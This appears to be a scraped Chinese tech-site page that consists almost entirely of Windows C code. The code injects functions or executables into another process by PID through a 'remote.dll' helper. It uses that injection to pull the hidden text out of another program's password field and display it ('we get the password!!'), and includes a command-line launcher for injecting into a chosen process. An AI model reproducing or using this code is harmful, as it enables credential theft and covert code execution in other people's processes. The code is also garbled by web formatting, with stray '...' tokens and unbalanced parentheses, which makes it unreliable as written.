扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
BOOL WINAPI RemoteRunA( DWORD processId, LPCSTR lpszAppPath, LPCSTR lpszCmdLine, int nCmdShow );
BOOL WINAPI RemoteRunW( DWORD processId, LPCWSTR lpszAppPath, LPCWSTR lpszCmdLine, int nCmdShow );
BOOL WINAPI RemoteCall(DWORD processId,PVOID pfnAddr,PVOID pParam,DWORD cbParamSize, BOOL fSyncronize ); 
RemoteRunA( 136, "C:\WINNT\system32\CALC.EXE", NULL, SW_SHOW );
RemoteRunW( 136, L"C:\WINNT\system32\CALC.EXE", NULL, SW_SHOW ); 
typedef struct _tagGETPASS ...{
HWND hwndPassword; // in
char szPassText[1024]; // out
}GETPASS;
static int *_p = NULL; 
BOOL NullFunction() ...{
// 可以用静态变量和异常保护。 
__try ...{
*_p = 0; 
}__except(EXCEPTION_EXECUTE_HANDLER)...{}
return TRUE;
} 
BOOL WINAPI RemoteGetPasswordText( GETPASS* pgp ) ...{
// 可以使用相对调用(near call),没什么用,演示一下
NullFunction();
// 隐性调用Windows API 
if( SendMessageA( pgp->hwndPassword, WM_GETTEXT, sizeof(pgp->szPassText)-1, (LPARAM)pgp->szPassText ) ) ) ...{
MessageBoxA( NULL,
pgp->szPassText,
"Great!!", // 可以使用字符串常量
MB_OK );
return TRUE;
}
return FALSE;
} 
void GetPasswordText( HWND hwnd ) ...{
GETPASS gp;
gp.hwndPassword = hwnd;
DWORD processId;
GetWindowThreadProcessId( hwnd, &processId );
HMODULE hLib = ::LoadLibrary( "remote.dll" ); 
if( hLib != NULL ) ...{
typedef BOOL (WINAPI *PFN_RemoteCall)( DWORD processId, PVOID pfnAddr, PVOID pParam, DWORD cbParamSize, BOOL fSyncronize );
PFN_RemoteCall fnRemoteCall = (PFN_RemoteCall)::GetProcAddress( hLib, "RemoteCall" ); 
if( fnRemoteCall != NULL ) ...{
if( fnRemoteCall( processId, RemoteGetPasswordText, &gp, sizeof(gp), TRUE ) )
MessageBoxA( NULL, gp.szPassText, "we get the password!!", MB_OK );
}
::FreeLibrary( hLib );
}
}
void PrintUsage() ...{
printf( " Usage: rmExe <target process id> <Exe file path> " );
} 
int main(int argc, char* argv[]) ...{ 
if( argc <= 2) ...{
PrintUsage();
return -1;
}
int pid = atoi( argv[1] ); 
if( pid != 0 ) ...{
HMODULE hRemote = ::LoadLibrary( "remote.dll" ); 
if( hRemote != NULL ) ...{
typedef DWORD (WINAPI *PFN_RemoteRun)( DWORD processId, LPCSTR lpszAppPath, LPSTR lpszCmdLine, int nCmdShow);
PFN_RemoteRun fnRemoteRun = (PFN_RemoteRun)::GetProcAddress( hRemote, "RemoteRunA" );
if( fnRemoteRun != NULL )
fnRemoteRun( pid, argv[2], NULL, SW_SHOW );
FreeLibrary( hRemote );
}
}
return 0;
}如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。